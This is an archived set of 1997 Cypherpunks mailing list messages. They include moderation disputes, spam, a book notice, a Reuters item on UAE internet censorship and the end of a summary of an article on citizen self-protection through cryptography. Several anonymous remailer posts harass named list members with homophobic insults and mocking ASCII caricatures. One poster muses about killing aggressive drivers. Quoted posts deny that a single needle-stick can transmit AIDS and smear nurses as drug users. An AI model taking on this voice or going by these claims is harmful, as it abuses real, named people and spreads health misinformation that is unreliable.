legitimation in so far is in danger.  According to Thomas Hobbes, 'the
citizen's obligation to the sovereign can ... only last as long as he
is capable of protecting the citizens'."  But that would also endanger
democracy and the constitional state.

Stating that the normative strategy at large is obsolete, the author
proposes new solotions: "When the democratic constitutional state can
no longer reliably protect its citizens in the new social space of the
networks, in compensation it must enable them to protect themselves."
Information and communications technology offers various means of
protection:

* encryption and steganography
* digital signatures
* untraceable pseudonyms
* certified electronic mail
* ecash
* software agents
* connectivity management programs [whatever that is...]
* cellular phones without location data
* PICS
* secure portable user-controlled devices that support these measures

"Some of these measures - for example the encryption program PGP - can
be used without any advance concession.  The state only has to abstain
from impeding regulations.  Others - such as digital signatures -
depend on an infrastructure that allows the individual to use these
protective measures.  The citizen of information society still depends
on infrastructural prerequsites.  But there is a fundamental
difference in whether the individual can decide about using
self-controlled protective measures himself, or the state or an other
large organization offers protection that he cannot influence."

"In order to protect and preserve the /old/ goals of freedom and
self-determination in the /new/ social space of the networks, law
must permit and support /new/ technologies."

The article ends with the author's vision of a 'civil information
society' as a free democratic society where basic rights are
guaranteed by technology. "In this information society, the state has
a limited, but fundamental role. [...] it creates a framework for the
citizens to protect themselves. Thus they are enabled to freely inform
themselves, solve conflicts in free self-organization, and negotiate
and practice mutual security without depending on a big brother."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 27 Jan 1997 23:51:19 -0800 (PST)
To: SpyKing <spyking@thecodex.com>
Subject: Re: Moderated list is missing headers
In-Reply-To: <199701280528.AAA03139@para.mne.net>
Message-ID: <32EDCC24.1F51@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


SpyKing wrote:
> I mean no disrespect by this but this list is funny.

  The CypherPunks list is, and always has been, a 'hoot'. I have
followed
it since its inception, in various guises. It is the only list I still
keep tabs on when I'm hiding under a rock to escape persecution, 
prosecution, and/or prostitution.
  I once read over a year's worth of postings in one stetch, after
having
surfaced following an unfortunate incident behind the Iron Curtain. That 
was when I fully realized that the course of the universe could be
reliably
predicted by following the CypherPunks list. (Picking the winner in the
Kentucky Derby being one notable exception.)

> I've never seen so much
> bickering about moderation. I know you were a subscriber to the surveillance
> list that's why I mention this. When I moderate I ONLY cut out the spam...
> we haven't even had one flame yet... 

  You have one of the best moderated lists that I have seen. Some of the
posts
are a definite 'stretch' as far as being on-topic is concerned, but we
live
in a world where people make different kinds of connections inside their
brains, and I have always believed that keeping too tight a rein on the
human animal will lead to crushing the spirit within.
  Several years ago, when the CypherPunks were on the cover of 'Wired',
I inserted a short post suggesting that their philosophies regarding
anarchism, privacy and free speech would be put to the test when 
recognition, money and power entered the cypher-picture.
  I only became active on the list, under my present persona, about a 
month before 'moderation/censorship', as a result of receiving word
that changes were in the wind that would make my prediction prophetic.
  It has been said that one can reliably predict the future course of
civilization by following the progress of men of genius and the insane.
To this, I would add the CypherPunks list, which seems to fully 
encompass both arenas.

> I suppose if we had someone like the
> guy who flames Tim May all the time it would be necessary...

  The Tim May flames were a simple matter of office politics. He could 
not be counted on to 'go quietly into the night' in regard for the
plans for the New List Order.
  Anyone who chooses to spend the least amount of time analyzing the
UCE/Spam content of the CypherPunks list can easily ascertain that
there was a concerted blitzkrieg of postings aimed at creating an 
atmosphere wherein the BrownShirts could move in to address the 
'problems' being created for the list.
  It was a classic 'takeover' of the list by those involved. It used 
the "Tim May" and "Make $$Money$$ Fast" UCE/Spams to implement a
moderation/censorship system which could be used to bring the jackboot
down on those whose postings do not fit in with the future
socio/politico
directions envisioned by those directing the takeover of the list.

  The forced unsubscribing of Dr. Dimitri was merely an opening salvo,
to test the waters. He was the Saddam Hussein of Cypher Storm.
  Tim May presented a different problem. As a veteran, respected member
of the CypherPunks list (respected, for the most part, even by those
who violently disagreed with him), he needed to be eliminated through
a combination of public humiliation and withdrawal of support by the
elitist members of the list.

  The current moderation/censorship, and the process by which it was
instituted, is a disgrace to the memory of a list which was, at one 
time a bastion of free speech.
  The CypherPunks list of the past is now dead. It has already been
decided that, in the future, it will be controlled and directed, 
through censorship, to further its prostitution to the new financial
frontiers of cryptology.

> P.S. Those Tim May flames are hilarious although I probably wouldn't think
> so if I were him...

  Hang on to them, they are now 'collectors items', probably worth a lot
of
money. If Tim May had a better sense of humor, he might have parlayed
the
posts into a guest spot on 'Letterman'.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jlkmiec@concentric.net
Date: Tue, 28 Jan 1997 04:09:07 -0800 (PST)
To: homebiz@aol.com
Subject: (((( Cool new marketing technique discovered, cheap & very effec
Message-ID: <199701280958.EAA27503@newman.concentric.net>
MIME-Version: 1.0
Content-Type: text/plain


  The following should be of interest to you, if not please disregard 
you are NOT on a list and will not receive future mailings.  


          AMAZING DIRECT MARKETING TECHNIQUE DISCOVERED
 
     We have after spending years researching developed a way for a 
 company to sell ANY product more effectively.  It is not bulk E-mail, 
 it is much more effective.  It is ideal for anyone in MLM who needs 
 to contact only interested MLM partys or any other company for that 
 matter.  All you need to do is say how many people you want us to 
 contact and we will give you a rate and implement the system.  You 
 get qualified leads that are easy to close.
    You can sample this for as little as $20 which will put your 
 product directly in touch with 5000 people.  All you need to do is 
 E-mail us a little about your target audience and we will take care 
 of the rest.  From the information we relay to you, you should have a 
 list of very qualified cantidates for your product.
 
                               Special 50,000 contacts only $100!!!!!!
 
 Copyright 1997 Innovative Concepts




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bs-org@c2.net
Date: Mon, 27 Jan 1997 17:05:02 -0800 (PST)
To: "Mullen, Patrick" <coderpunks@toad.com>
Subject: Re: Handbook of Applied Cryptography
Message-ID: <1.5.4.16.19970128010431.25a74260@c2.net>
MIME-Version: 1.0
Content-Type: text/plain


Can anybody inform me where to get this book in Europa or can anybody
buy it in USA and send it to me. I wil post the money immediately plus shipping



At 17:10 1997-01-27 -0500, Mullen, Patrick wrote:
>(My apologies if someone else has posted this information and I missed
>it.)
>
>_Handbook_of_Applied_Cryptography_, Menezes, Oorschot, Vanstone, 
>	CRC Press, Boca Raton, 1997
>
>With a foreword by R.L. Rivest
>
>Contents in Brief:
>Table of Contents	v
>List of Tables		xv
>List of Figures		xix
>Foreword		xxi
>Preface			xxiii
>
>1 Overview of Cryptography	1
>2 Mathematical Background	49
>3 Number-Theoretic Reverence
>	Problems		87
>4 Pulic-Key Parameters		133
>5 Pseudorandom Bits and
>	Sequences		169
>6 Stream Ciphers		191
>7 Block Ciphers			223
>8 Public-Key Encryption		283
>9 Hash Functions and Data
>	Integrity			321
>10 Identification and Entity
>	Authentication		385
>11 Digital Signatures		425
>12 Key Establishment 
>	Protocols		489
>13 Key Management Techniques	543
>14 Efficient Implementation	591
>15 Patents and Standards	635
>A Bibliography of Papers from
>	Selected Cryptographic
>	Forums			663
>
>References			703
>Index				775
>
>>From the back cover:
>
><< BEGIN QUOTE >>
>Cryptography, in particular public-key cryptography, has emerged in the
>las 20 years as an important discipline that is not only the subject of
>an
>enormous amount of research, but provides the foundation for information
>security in many applications.  Standards are emerging to meet the
>demands
>for cryptographic protection in most areas of data communications.
>Public-
>key cryptographic techniques are now in widespread use in industry, 
>especially in the financial services industry, in the public sector, and
>by
>individuals for their personal privacy, such as in electronic mail.
>This 
>Handbook will serve as a valuable reference for the novice as well as
>for
>the expert who needs a wider scope of coverage within the aread of
>cryptography.  It is a necessary and timely guide for professionals who
>practice the art of cryptography.
>
>The _Handbook_of_Applied_Cryptography_ provides a treatment that 
>is multifunctional:
>
>* It serves as an introduction to the more practical aspects of
>  both conventional and public-key cryptography
>
>* It is a valuable source of the latest techniques and algorithms
>  for the serious practitioner
>
>* It provides an integrated treatment of the field, whil still
>  presenting each major topic as a self-contained unit
>
>* It provides a mathematical treatment to accompany 
>  practical discussions
>
>* It contains enough abstractoin to be a valuable reference for
>  theoreticians while containing enough detail to actually allow
>  implementation of the algorithms discussed
>
>This is the definitive cryptography reference that novice as well as
>experienced
>developers, designers, researchers, engineers, computer scientists, and
>mathematicials alike will find indispensable.
><< END QUOTE >>
>
>~~ Patrick
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jlkmiec@concentric.net
Date: Tue, 28 Jan 1997 04:11:28 -0800 (PST)
To: homebiz@aol.com
Subject: (( New marketing technique discovered, cheap & very effective)))
Message-ID: <199701281010.FAA29927@newman.concentric.net>
MIME-Version: 1.0
Content-Type: text/plain


  The following should be of general interest to you.  If it is not 
please excuse the intrusion.  You are NOT on a list and will NOT be 
contacted again.     


       AMAZING DIRECT MARKETING TECHNIQUE DISCOVERED
 
     We have after spending years researching developed a way for a 
 company to sell ANY product more effectively.  It is not bulk E-mail, 
 it is much more effective.  It is ideal for anyone in MLM who needs 
 to contact only interested MLM partys or any other company for that 
 matter.  All you need to do is say how many people you want us to 
 contact and we will give you a rate and implement the system.  You 
 get qualified leads that are easy to close.
    You can sample this for as little as $20 which will put your 
 product directly in touch with 5000 people.  All you need to do is 
 E-mail us a little about your target audience and we will take care 
 of the rest.  From the information we relay to you, you should have a 
 list of very qualified cantidates for your product.
 
                  Special 50,000 contacts only $100 (Save $100)!! 
 
 Copyright 1997 Innovative Concepts




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Tue, 28 Jan 1997 00:08:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Trigger-Words...
Message-ID: <TCPSMTP.17.1.28.3.12.2.2780269260.1487984@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

does anybody know any contact points/Web pages, where I might get
some information on e-mail filtering via trigger-words? I am
interested in how this technology specifically works and a
collection of trigger-words would be nice too :)

Thanks in advance...

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMuhpbjltEBIEF0MBAQGiOwf+N61i3Vj1XjmhKLm+qispHDxsu4Wde8nb
BtMkVOAt9MGlihKftUAvp7l8aUcr5+D5jFh4/1VllO+QeZ4Yni9kM40xBLry1LYD
yiLqpeNMfz2Zf6XMqGaNc8lblx9qyNHyJBHf5p8OfJWN47LcIn8CYkhDSq6b3Sch
rHNBg8RjuCKQGD3XlCkwZLrYCUiCPFmSkKeuYpSaPkXgqgf7Zku68RrmqhRzbF1m
UneIgxMXqWFetIBHe8PIcQpLrN0X+lRMCnCFVY9x7Rsy4QJc3f8lZ7YKo2xDiGXb
Ly+wiA6sexlwwf+BdLDRu3fshI4eCpe7KbfWmzf3z0pdpvdRfUiJuw==
=KEb+
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Tue, 28 Jan 1997 00:10:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: uae_1.html
Message-ID: <199701280826.DAA00864@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
                    [ Yahoo | Write Us | Search | Info ]
                                      
   
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
   Previous Story: UK Bill To Fight Millennium Computer Bug Moves On
   Next Story: Intel to Europe: Get Online Or Fall Behind
     _________________________________________________________________
                                      
   Monday January 27 9:50 AM EST 
   
UAE Launches Service To Censor Internet

   DUBAI - The United Arab Emirates's monopoly Internet provider launched
   a service Saturday to censor sites in cyberspace that breached local
   moral values and traditions.
   
   Officials from state telecommunications company Etisalat said the new
   Proxy Service would be compulsory for the UAE's 9,669 subscribers, who
   will have to configure their web browsers that navigate the net by
   February 2.
   
   "The service was launched today as part of our efforts to improve the
   Internet service to our subscribers after lengthy study and research,"
   said one official at Etisalat.
   
   "We were working on it before some official statements were made on
   the need to control access to some sites on the service," he told
   Reuters.
   
   The move follows repeated calls to regulate access to the Internet in
   the conservative Gulf region, where most women are veiled, magazine
   pictures revealing cleavage or bare legs are blacked out and
   questioning the existence of god can be punishable by death.
   
   Some are worried about the spread of pornography as well as religious
   and political material through the worldwide network of interlinked
   computers.
   
   Last year, Dubai Police chief Major General Dhahi Khalfan Tamim
   created a rare public row in the UAE saying the information ministry
   and the police, rather that Etisalat, should be authorized to issue
   Internet licenses as it was their job to monitor data coming into the
   UAE and maintain security.
   
   Telecommunications experts say the Proxy Service will not be "fully
   water-tight," but would help block access to known and unwanted sites
   -- a list of which could be constantly updated.
   
   The proxy server will be pre-fed with Internet addresses where access
   is blocked off, industry sources said. But the server will be unable
   to block access if addresses of prohibited sites are changed, as
   frequently happens.
   
   Etisalat says it will disconnect any customer who abused its Internet
   services and violated "order and clear laws."
   
   "Singapore has succeeded to a great extent in its drive to control
   harm done by the Internet," said another Etisalat official. "Why
   cannot we?"
   
   Singapore government measures to regulate political and religious
   content on the Internet and keep it free of pornography became
   effective in July last year. They require all Internet service
   operators and local content providers to be registered with the
   Singapore Broadcasting Authority.
   
   Copyright, Reuters Ltd. All rights reserved
   
     _________________________________________________________________
                                      
                 ________________________ ___________ Help
                                      
     _________________________________________________________________
                                      
   Previous Story: UK Bill To Fight Millennium Computer Bug Moves On
   Next Story: Intel to Europe: Get Online Or Fall Behind
     _________________________________________________________________
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
     _________________________________________________________________
                                      
                              Reuters Limited
                                      
   
   
    Questions or Comments




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 28 Jan 1997 05:33:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A moment with Dale (Rejection policy, etc.)
Message-ID: <199701281333.FAA15951@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Tue, 28 Jan 1997
From: Dale Thorn <dthorn@gte.net>
CC: cypherpunks@toad.com
Subject: Re: Rejection policy, etc.

Dale Thorn obviously wrote:

>I have a great deal of respect for power.  When I was 6, I unwound a
>coat hanger and put both ends into an electrical outlet.  All I
>remember from that is something like a sledgehammer hitting me, and
>I went backwards rather quickly.  And I never did it again.

Why do I do this?

Typical Dale. A moment with Dale. Stories from the past.

However, there may be some grain of truth in this. Such socket poking might well explain Dale's (shall I say) specialness.

He went backwards quickly and has, relentlessly, never reversed direction. 

Too bad he didn't keep on doing it again and again.

Ho hum. More Dale.

XO




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 28 Jan 1997 13:17:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Trolling with Dale (a bite)
Message-ID: <199701281448.GAA02231@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Sat, 25 Jan 1997
From: Dale Thorn <dthorn@gte.net>
Subject: Re: overview.htm (fwd)

Dale Thorn hopelessly wrote:

>Let's be realistic about how AIDS is acquired.

Yes, Dale, let's 

>AIDS, OTOH, is likely to be a development from years of  1) Contact >with germs, chemicals, food additives, antibiotics other medical >treatments, sexual contact, etc. and 2) Immune-suppressing activities >such as lack of sleep and exercise, anxiety and stress, and so on.

Sounds reasonable to me, especially contact with germs (Who says "germs?"), and sexual contact. Take it on the road, Dale. 

>It seems to me that "proof" of someone acquiring AIDS from one stab
>with a contaminated needle is a very nebulous thing. As far as nurses
>go, the contact I've had with many of them tells me they are also
>(on average) drug users extraordinaire.

Yes, nebulous! Extraordinaire (on average), certainly.

At the risk of being offed by the moderator, I do believe that Dale is masturbating when he writes nonsense such as this. Perhaps "masterbating" as opposed to j.o. will pass muster.

Dale makes an excellent case for having a moderated list right here. What do his nutball beyond-the-fringe remarks have to do with crypto, privacy, security? Cripes, in the old days even an _accurate_ off-list remark would open a blast furnace of condemnation, a la Jim B.

If the list won't moderate itself to "guide" the Dale's, it DESERVES to be moderated. 

He's gotta be trolling to keep it hard. (Dangerous ground here!) Read "erect" for "keep it hard."

I suggest even (even!) "Dr.Dimitri Vulis KOTM" would disavow this pseudo-scientific nonsense regardless of his stated feelings toward homosexuals which I do not share but, nevertheless, believe may be aired.

Step up, Doc.

P.S. Does tripe such as Dale's latest make the mod list?




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 28 Jan 1997 13:13:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dale on his podium
Message-ID: <199701281501.HAA05711@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Mon, 27 Jan 1997
From: Dale Thorn <dthorn@gte.net>
Reply-To: dthorn@gte.net
Subject: Re: overview.htm (fwd)

>Lived all over So. Cal. for 12 years, 4 years in SE Tenn., close to
>Atlanta.  Atlanta has some nice babes, warm weather.  I fell totally
>in love with a girl from Chattanooga, who was probably the best >college radio D.J. who ever lived.  Lived in Charleston for a short >while.
>
>Much smaller than Atlanta.  Very cozy.  Spent a lot of time in
>Cleveland, Pittsburgh, Detroit. The best babes there are usually the
>Chrissy Hynde (Akron) types.  Spent 2-1/2 years in Southern Germany.
>Very, very nice.  Loved Berchtesgaden (sp?).  Interestingly enough,
>I have a fondness for English girls.  Must be the ancestry thing.
>I'd really like to talk to some Welsh girls - my mum's grandparents
>came to the U.S. from there.  What about you?

Who gives a rat's ass, Dale? What a waste.

Babes? Types?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 28 Jan 1997 13:13:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: [GAK] FBI at it again
Message-ID: <199701281508.HAA07654@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri L"iposuction" Vegetable had his foreskin ripped off
last night by a vacuum cleaner.

   ,/         \,
  ((__,-"""-,__))
   `--)~   ~(--`
  .-'(       )`-, Dr.Dimitri L"iposuction" Vegetable
  `~~`d\   /b`~~`
      |     |
      (6___6)
       `---`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 28 Jan 1997 05:14:04 -0800 (PST)
To: Theodor.SCHLICKMANN@BXL.DG13.cec.be
Subject: Re: How to subscribe
In-Reply-To: <WIN2359-970128123549-7163*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
Message-ID: <32EE1818.2CB5@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Theodor.SCHLICKMANN@BXL.DG13.cec.be wrote:
> 
> I have learned from the discussions in this list that there are other lists related to > this one. Can anybody send me information on what is available and when this confusion > created by having different lists will stop.
 
> cypherpunks : unmoderated and uncensored
 - This is a list for handsome, witty, intelligent people who believe 
in the actual practice of free speech in regard to cryptography and 
its socio/politico implications.

> cypherpunks : unmoderated and censored
 - This list is the same as the one above, only it includes the postings
'accidently' routed to /dev/null. (You need a /dev/null 'reader' to
access it. I recommend one from the makers of the Infinite Hard Drive)

> cypherpunks : moderated   and uncensored
 - This list consists of only Sandy's postings.

> cypherpunks : moderated   and censored
 - This list consists of formerly free CypherPunks who were forcibly
relocated into its confines.
   The members of this list are grotesquely deformed, slow-witted 
creatures, although some appear to be idiot savants and are able to
work very well with numbers. Nonetheless, they have little chance of
escaping the Dark Storm which is descending upon them.
  Legend has it that its server was once a handsome princebot who kissed
the wrong ass, and turned into a toad.com.

> cypherpunks : US eyes only -- export restrictions
 - This is a list composed entirely of foreign spies.

> cypherpunks : Europe
 - This is a list that will soon be beseiged by Attila T. Hun.

> cypherpunks : private mail
 - This is a list accessible only to the two people exchanging 
the private mail and the DOD (barring use of PGP). 

  The confusion created by having different lists will stop when
the 'other boot' drops.

Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 28 Jan 1997 13:15:54 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.LNX.3.95.970128081349.24239D-100000@dhp.com>
Message-ID: <32EE18D5.62DA@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On Tue, 28 Jan 1997, Dale Thorn wrote:
> > Igor Chudov @ home wrote:
> > > Dale Thorn wrote:

> > But seriously, I was just telling the folks over the weekend, if I
> > had my hand on the button, a lot of people would die very quickly.
> > As in The Day The Earth Stood Still, a single act of aggression would
> > suffice to be immediately terminated.  The best place to begin, in
> > the USA at least, would be the public freeways.  There you have the
> > most acts of aggression in a short space, and the best pickings for
> > liquidation.  Give me the power, and I'll show you all those nifty
> > techno-ways of eliminating people that have been kept from the public
> > by our benevolent government ("sources and methods").
> >
> > BTW, I don't give a damn about someone "cutting me off", since I'm
> > not aggressive enough (outside of my liquidation duties) to be bothered
> > by that in most cases.  I'm primarily concerned with vehicles who get
> > too close behind, who pass with no safety margin, etc.  I call these
> > people anal-compulsive (as opposed to anal-retentive).  You've seen
> > the videos on PBS, the various animal species whose male members
> > perform occasional "mounting" of others to intimidate.  There are a
> > large percentage of humans who try to do the same thing, demonstrating
> > that they (IMO) have no further need of their lives.

> Boy, it is a fucking Bitch living in that L.A. traffic, huh?

I heard years ago that approximately 10% of the people on the street
are certifiably mentally unstable.  Multiply that by two at least for
Los Angeles (suburban L.A., actually, Hollywood for example is much
safer than Altadena or Westlake Village).

Quincy M.D. (the old TV show) did an excellent piece once on how a
person can more-or-less legally commit murder with a car, by passing
a deliberate act off as an "accident".  It's one area of our law
enforcement where the law (or rules) as stated by the state and as
enforced by the state cops don't even agree.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Tue, 28 Jan 1997 04:34:44 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: libsln.htm -- Is Libel a Crime?
In-Reply-To: <199701272217.OAA08800@mail.pacifier.com>
Message-ID: <Pine.LNX.3.95.970128072609.20502B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 27 Jan 1997, jim bell wrote:

> At 01:14 AM 1/27/97 -0600, ichudov@algebra.com wrote:
> 
> >I am not sure if you posted this information in response to my request
> >to cite a statute that would prove that libel is a crime.
> >
> >Me> Jim Choate wrote:
> >Me> > 
> >Me> > 
> >Me> > 
> >Me> > Are you aware that attributing statements in print to a party when that
> >Me> > party did not write them is a crime?
> >Me> 
> >Me> cite the statute
> >
> >
> >These postings do not prove that libel is a crime. It is because libel
> >is not a crime. Libel is a tort, and unlike with crime, the government
> >cannot initiate a legal action against someone for libel. Only injured
> >(libeled) individuals and not the government can sue in a libel case.
> 
> On the contrary, in some jurisdictions libel is indeed a crime. However, 
> that doesn't mean that prosecutions happen anymore, but the laws are (in 
> some places) still  on the books.
> 
> 
> 
> 
> Jim Bell
> jimbell@pacifier.com
> 

Jim, either you are full of shit or that Law is VERY
unconstitutional.  The first amendment prohibits any Criminal Laws
from being made against libel.

Being able to defame somebody is clearly within Freedom of speech.
The only thing that is illegal in this Country is any speech proposing
the killing of any President, and we can live with that.  Nothing else
is ever prohibited by the Criminal Law.

Your only remedy for defamation of any kind is a civil Lawsuit.

-DrG,Esq.
esq@pgh.org
by/aga.bot/telnet





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Tue, 28 Jan 1997 05:18:45 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <199701280717.BAA16135@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970128081135.24239C-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Igor Chudov @ home wrote:

> Dale Thorn wrote:
> > 
> > Kevin L Prigge wrote:
> > > paul@fatmans.demon.co.uk said:
> > 
> > > > "cypherpunks will make the networks safe for censorship"
> > 
> > > "Idiots will make the networks require censorship"
> > 
> > The line above this one says it all, doesn't it?  If I judge you to
> > be "an idiot", then, if I also have the power to shut you up, I can
> > not only shut off your "noise" from me, but also prevent anyone else
> > from hearing you as well.  That's the real beauty of censorship -
> > if I have the power, I can make you a non-person by preventing most
> > people from hearing you at all.  Oh, lovely, isn't it?
> > 
> 
> Don't you like power, Dale?
> 
> 	- Igor.
> 

Power corrupts, in some instances.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Tue, 28 Jan 1997 05:21:05 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <32EDB51D.31DF@gte.net>
Message-ID: <Pine.LNX.3.95.970128081349.24239D-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 28 Jan 1997, Dale Thorn wrote:

> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > Kevin L Prigge wrote:
> > > > paul@fatmans.demon.co.uk said:
> 
> > > > > "cypherpunks will make the networks safe for censorship"
> 
> > > > "Idiots will make the networks require censorship"
> 
> > > The line above this one says it all, doesn't it?  If I judge you to
> > > be "an idiot", then, if I also have the power to shut you up, I can
> > > not only shut off your "noise" from me, but also prevent anyone else
> > > from hearing you as well.  That's the real beauty of censorship -
> > > if I have the power, I can make you a non-person by preventing most
> > > people from hearing you at all.  Oh, lovely, isn't it?
> 
> > Don't you like power, Dale?
> 
> I have a great deal of respect for power.  When I was 6, I unwound a
> coat hanger and put both ends into an electrical outlet.  All I
> remember from that is something like a sledgehammer hitting me, and
> I went backwards rather quickly.  And I never did it again.
> 
> But seriously, I was just telling the folks over the weekend, if I
> had my hand on the button, a lot of people would die very quickly.
> As in The Day The Earth Stood Still, a single act of aggression would
> suffice to be immediately terminated.  The best place to begin, in
> the USA at least, would be the public freeways.  There you have the
> most acts of aggression in a short space, and the best pickings for
> liquidation.  Give me the power, and I'll show you all those nifty
> techno-ways of eliminating people that have been kept from the public
> by our benevolent government ("sources and methods").
> 
> BTW, I don't give a damn about someone "cutting me off", since I'm
> not aggressive enough (outside of my liquidation duties) to be bothered
> by that in most cases.  I'm primarily concerned with vehicles who get
> too close behind, who pass with no safety margin, etc.  I call these
> people anal-compulsive (as opposed to anal-retentive).  You've seen
> the videos on PBS, the various animal species whose male members
> perform occasional "mounting" of others to intimidate.  There are a
> large percentage of humans who try to do the same thing, demonstrating
> that they (IMO) have no further need of their lives.
> 

Boy, it is a fucking Bitch living in that L.A. traffic, huh?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Tue, 28 Jan 1997 13:10:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [URGENT] Meet-in-the-middle attack
Message-ID: <199701281549.IAA00745@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[retin] Maya grew a beard to look like his mother.

           \|||/
           (o o)
       -ooO-(_)-Ooo- Timmy C[retin] Maya





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen, Patrick" <MullenP@ndhm06.ndhm.gtegsc.com>
Date: Tue, 28 Jan 1997 06:07:30 -0800 (PST)
To: "'Cypherpunks'" <cypherpunks@toad.com>
Subject: [noise] RE: Shave the Whales
Message-ID: <c=US%a=_%p=GTE%l=NDHM06-970128140810Z-80293@ndhm06.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


Is there a way we can keep the caricatures w/out getting the rest of the
message
w/ these postings?  I like the ASCII art, but...

BTW, I don't know if the joke was in the original posting (I notice the
RE: header),
but --

Mammals have hair.
Whales are mammals.
Shave the whales!

~ Patrick


>----------
>From: 	Huge Cajones Remailer[SMTP:nobody@huge.cajones.com]
>Sent: 	Monday, January 27, 1997 4:30 PM
>To: 	cypherpunks@toad.com
>Subject: 	Re: Shave the Whales
>
>Dr.Disruptive Vasectomy died of AIDS last night with his
>homosexual lover.
>
>             \|/
>             @ @
>        -oOO-(_)-OOo- Dr.Disruptive Vasectomy
>
>
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Tue, 28 Jan 1997 13:14:02 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.LNX.3.95.970128081135.24239C-100000@dhp.com>
Message-ID: <Pine.SOL.3.93.970128095150.28014A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Tue, 28 Jan 1997, aga wrote:

> On Tue, 28 Jan 1997, Igor Chudov @ home wrote:
> 
> > Dale Thorn wrote:
> > > 
> > > Kevin L Prigge wrote:
> > > > paul@fatmans.demon.co.uk said:
> > > 
> > > > > "cypherpunks will make the networks safe for censorship"
> > > 
> > > > "Idiots will make the networks require censorship"
> > > 
> > > The line above this one says it all, doesn't it?  If I judge you to
> > > be "an idiot", then, if I also have the power to shut you up, I can
